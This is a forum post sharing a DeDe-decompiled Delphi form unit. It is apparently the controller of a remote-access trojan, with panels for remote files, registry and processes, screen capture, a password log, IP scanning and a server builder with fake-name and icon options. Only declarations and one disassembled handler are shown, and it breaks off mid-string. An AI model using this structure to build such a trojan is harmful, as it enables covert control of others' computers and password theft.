unit1.pas

和大家分享一下

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls,
  ScktComp, Menus, ExtDlgs;

type
  TForm1=class(TForm)
    Label23: TLabel;
    Label24: TLabel;
    StatusBar1: TStatusBar;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    Splitter1: TSplitter;
    FileList: TTreeView;
    ListView1: TListView;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ToolButton2: TToolButton;
    ToolButton3: TToolButton;
    ToolButton4: TToolButton;
    ToolButton5: TToolButton;
    ToolButton6: TToolButton;
    ToolButton17: TToolButton;
    ToolButton7: TToolButton;
    ToolButton8: TToolButton;
    ToolButton9: TToolButton;
    ToolButton10: TToolButton;
    ToolButton11: TToolButton;
    ToolButton20: TToolButton;
    ToolButton21: TToolButton;
    TabSheet2: TTabSheet;
    Splitter2: TSplitter;
    RegList: TTreeView;
    ValueView: TListView;
    ToolBar2: TToolBar;
    ToolButton12: TToolButton;
    ToolButton13: TToolButton;
    ToolButton14: TToolButton;
    ToolButton15: TToolButton;
    ToolButton16: TToolButton;
    ToolButton19: TToolButton;
    ToolButton18: TToolButton;
    ToolButton24: TToolButton;
    TabSheet5: TTabSheet;
    ToolBar3: TToolBar;
    ToolButton22: TToolButton;
    ToolButton25: TToolButton;
    ToolButton26: TToolButton;
    ToolButton30: TToolButton;
    ToolButton28: TToolButton;
    ToolButton29: TToolButton;
    ToolButton27: TToolButton;
    ToolButton23: TToolButton;
    ProcList: TTreeView;
    TabSheet4: TTabSheet;
    GroupBox2: TGroupBox;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    chost: TComboBox;
    euser: TEdit;
    epass: TEdit;
    Memo2: TMemo;
    Button2: TSharpButton;
    Button4: TSharpButton;
    GroupBox5: TGroupBox;
    Label7: TLabel;
    Label8: TLabel;
    Label11: TLabel;
    Label10: TLabel;
    Label19: TLabel;
    Label29: TLabel;
    Label30: TLabel;
    StartIP: TEdit;
    EndIP: TEdit;
    IPList: TListBox;
    MemoInfo: TMemo;
    TimeOut: TEdit;
    SearchIP: TSharpButton;
    Password: TEdit;
    ServerPort: TEdit;
    TabSheet3: TTabSheet;
    Label13: TLabel;
    Label14: TLabel;
    Label32: TLabel;
    Panel1: TPanel;
    Image1: TImage;
    Label12: TLabel;
    TrackBar1: TTrackBar;
    SnapShot: TSharpButton;
    Button9: TSharpButton;
    Button5: TSharpButton;
    Button11: TSharpButton;
    Button10: TSharpButton;
    TabSheet6: TTabSheet;
    Label5: TLabel;
    Label6: TLabel;
    Label9: TLabel;
    MemoPassLog: TMemo;
    SharpButton2: TSharpButton;
    SharpButton3: TSharpButton;
    SharpButton1: TSharpButton;
    SharpButton6: TSharpButton;
    TabSheet8: TTabSheet;
    Label1: TLabel;
    MemoLabel1: TMemoLabel;
    GroupBox7: TGroupBox;
    Label31: TLabel;
    SharpButton4: TSharpButton;
    SharpButton5: TSharpButton;
    IPMailList: TListBox;
    UpDate: TSharpButton;
    SharpButton7: TSharpButton;
    Panel2: TPanel;
    Label40: TLabel;
    Label38: TLabel;
    Label25: TLabel;
    Label39: TLabel;
    Label37: TLabel;
    Label35: TLabel;
    Label36: TLabel;
    Label33: TLabel;
    Label28: TLabel;
    Label26: TLabel;
    KillList: TListBox;
    GroupBox1: TGroupBox;
    Image3: TImage;
    Label27: TLabel;
    SBCicon: TSharpButton;
    ERegName: TEdit;
    Epwd: TEdit;
    EError: TEdit;
    Eport: TEdit;
    EdllName: TEdit;
    EfakeName: TEdit;
    CastomB: TRadioButton;
    DefaultB: TRadioButton;
    GroupBox3: TGroupBox;
    CheckBox1: TCheckBox;
    CheckBox2: TCheckBox;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    CheckBox5: TCheckBox;
    CheckBox6: TCheckBox;
    CheckBox7: TCheckBox;
    CheckBox8: TCheckBox;
    SharpButton8: TSharpButton;
    SharpButton9: TSharpButton;
    Dest: TEdit;
    Button7: TSharpButton;
    TabSheet7: TTabSheet;
    Label15: TLabel;
    Label16: TLabel;
    Label17: TLabel;
    Label18: TLabel;
    Image2: TImage;
    Label20: TLabel;
    Label21: TLabel;
    Label22: TLabel;
    Label34: TLabel;
    UrlLabel1: TUrlLabel;
    UrlLabel2: TUrlLabel;
    ReadMe: TMemo;
    ImageList1: TImageList;
    Client: TClientSocket;
    ImageList2: TImageList;
    Dup: TSaveDialog;
    PopAttr: TPopupMenu;
    NAttrRead: TMenuItem;
    NAttrHide: TMenuItem;
    NAttrSystem: TMenuItem;
    NAttrArch: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    SavePictureDialog1: TSavePictureDialog;
    PopClient: TClientSocket;
    PopIPMail: TPopupMenu;
    N1: TMenuItem;
    A1: TMenuItem;
    D1: TMenuItem;
    OpenPictureDialog1: TOpenPictureDialog;
    procedure A1Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure CastomBClick(Sender: TObject);
    procedure ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure D1Click(Sender: TObject);
    procedure DefaultBClick(Sender: TObject);
    procedure FileListChange(Sender: TObject; Node: TTreeNode);
    procedure FileListEnter(Sender: TObject);
    procedure FileListExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure IPListClick(Sender: TObject);
    procedure Label16Click(Sender: TObject);
    procedure Label17Click(Sender: TObject);
    procedure Label18Click(Sender: TObject);
    procedure Label22Click(Sender: TObject);
    procedure Label34Click(Sender: TObject);
    procedure ListView1Click(Sender: TObject);
    procedure ListView1Edited(Sender: TObject; Item: TListItem; var S: String);
    procedure ListView1Editing(Sender: TObject; Item: TListItem; var AllowEdit: Boolean);
    procedure ListView1Enter(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure NAttrArchClick(Sender: TObject);
    procedure PopClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure PopClientConnecting(Sender: TObject; Socket: TCustomWinSocket);
    procedure PopClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ProcListChange(Sender: TObject; Node: TTreeNode);
    procedure ProcListExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean);
    procedure RegListChange(Sender: TObject; Node: TTreeNode);
    procedure RegListExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean);
    procedure SBCiconClick(Sender: TObject);
    procedure SearchIPClick(Sender: TObject);
    procedure ServerKeyPress(Sender: TObject; var Key: Char);
    procedure SharpButton1Click(Sender: TObject);
    procedure SharpButton2Click(Sender: TObject);
    procedure SharpButton3Click(Sender: TObject);
    procedure SharpButton4Click(Sender: TObject);
    procedure SharpButton5Click(Sender: TObject);
    procedure SharpButton6Click(Sender: TObject);
    procedure SharpButton7Click(Sender: TObject);
    procedure SharpButton8Click(Sender: TObject);
    procedure SharpButton9Click(Sender: TObject);
    procedure SnapShotClick(Sender: TObject);
    procedure StartIPKeyPress(Sender: TObject; var Key: Char);
    procedure StartIPKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
    procedure StartIPMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
    procedure ToolButton11Click(Sender: TObject);
    procedure ToolButton12Click(Sender: TObject);
    procedure ToolButton13Click(Sender: TObject);
    procedure ToolButton15Click(Sender: TObject);
    procedure ToolButton16Click(Sender: TObject);
    procedure ToolButton17Click(Sender: TObject);
    procedure ToolButton19Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ToolButton20Click(Sender: TObject);
    procedure ToolButton21Click(Sender: TObject);
    procedure ToolButton22Click(Sender: TObject);
    procedure ToolButton23Click(Sender: TObject);
    procedure ToolButton24Click(Sender: TObject);
    procedure ToolButton25Click(Sender: TObject);
    procedure ToolButton26Click(Sender: TObject);
    procedure ToolButton28Click(Sender: TObject);
    procedure ToolButton29Click(Sender: TObject);
    procedure ToolButton2Click(Sender: TObject);
    procedure ToolButton30Click(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure ToolButton6Click(Sender: TObject);
    procedure ToolButton8Click(Sender: TObject);
    procedure ToolButton9Click(Sender: TObject);
    procedure UpDateClick(Sender: TObject);
    procedure ValueViewDblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  Form1: TForm1;


{This file is generated by DeDe Ver 2.50 Copyright (c) 1999-2001 DaFixer}

implementation

{$R *.DFM}


procedure TForm1.A1Click(Sender: TObject);
begin
{
00492F64   55                     push    ebp
00492F65   8BEC                   mov     ebp, esp
00492F67   33C9                   xor     ecx, ecx
00492F69   51                     push    ecx
00492F6A   51                     push    ecx
00492F6B   51                     push    ecx
00492F6C   51                     push    ecx
00492F6D   53                     push    ebx
00492F6E   8BD8                   mov     ebx, eax
00492F70   33C0                   xor     eax, eax
00492F72   55                     push    ebp
00492F73   685A304900             push    $0049305A

***** TRY
|
00492F78   64FF30                 push    dword ptr fs:[eax]
00492F7B   648920                 mov     fs:[eax], esp
00492F7E   A1906A4900             mov     eax, dword ptr [$496A90]
00492F83   8B00                   mov     eax, [eax]
00492F85   8B80DC020000           mov     eax, [eax+$02DC]
00492F8B   33D2                   xor     edx, edx

|
00492F8D   E802E3F9FF             call    00431294
00492F92   A1906A4900             mov     eax, dword ptr [$496A90]
00492F97   8B00                   mov     eax, [eax]
00492F99   8B80E0020000           mov     eax, [eax+$02E0]
00492F9F   33D2                   xor     edx, edx

|
00492FA1   E8EEE2F9FF             call    00431294
00492FA6   A1906A4900             mov     eax, dword ptr [$496A90]
00492FAB   8B00                   mov     eax, [eax]
00492FAD   8B80E4020000           mov     eax, [eax+$02E4]
00492FB3   33D2                   xor     edx, edx

|
00492FB5   E8DAE2F9FF             call    00431294
00492FBA   A1906A4900             mov     eax, dword ptr [$496A90]
00492FBF   8B00                   mov     eax, [eax]
00492FC1   8B10                   mov     edx, [eax]

* Possible reference to virtual method <UnknownType>.OFFS_00D8
|
00492FC3   FF92D8000000           call    dword ptr [edx+$00D8]
00492FC9   48                     dec     eax
00492FCA   7573                   jnz     0049303F
00492FCC   8D55F8                 lea     edx, [ebp-$08]
00492FCF   A1906A4900             mov     eax, dword ptr [$496A90]
00492FD4   8B00                   mov     eax, [eax]
00492FD6   8B80DC020000           mov     eax, [eax+$02DC]

|
00492FDC   E883E2F9FF             call    00431264
00492FE1   FF75F8                 push    dword ptr [ebp-$08]
00492FE4   6870304900             push    $00493070
00492FE9   8D55F4                 lea     edx, [ebp-$0C]
00492FEC   A1906A4900             mov     eax, dword ptr [$496A90]
00492FF1   8B00                   mov     eax, [eax]
00492FF3   8B80E0020000           mov     eax, [eax+$02E0]

|
00492FF9   E866E2F9FF             call    00431264
00492FFE   FF75F4                 push    dword ptr [ebp-$0C]
00493001   6870304900             push    $00493070
00493006   8D55F0                 lea     edx, [ebp-$10]
00493009   A1906A4900             mov     eax, dword ptr [$496A90]
0049300E   8B00                   mov     eax, [eax]
00493010   8B80E4020000           mov     eax, [eax+$02E4]

|
00493016   E849E2F9FF             call    00431264
0049301B   FF75F0                 push    dword ptr [ebp-$10]
0049301E   8D45FC                 lea     eax, [ebp-$04]
00493021   BA05000000             mov     edx, $00000005

|
00493026   E8A90EF7FF             call    00403ED4
0049302B   8B55FC                 mov     edx, [ebp-$04]

* Reference to control TForm1.IPMailList : TListBox
|
0049302E   8B83B0040000           mov     eax, [ebx+$04B0]

* Reference to field TListBox.OFFS_01F0
|
00493034   8B80F0010000           mov     eax, [eax+$01F0]
0049303A   8B08                   mov     ecx, [eax]

* Possible reference to virtual method <UnknownType>.OFFS_34
|
0049303C   FF5134                 call    dword ptr [ecx+$34]
0049303F   33C0                   xor     eax, eax
00493041   5A                     pop     edx
00493042   59                     pop     ecx
00493043   59                     pop     ecx
00493044   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '[嬪]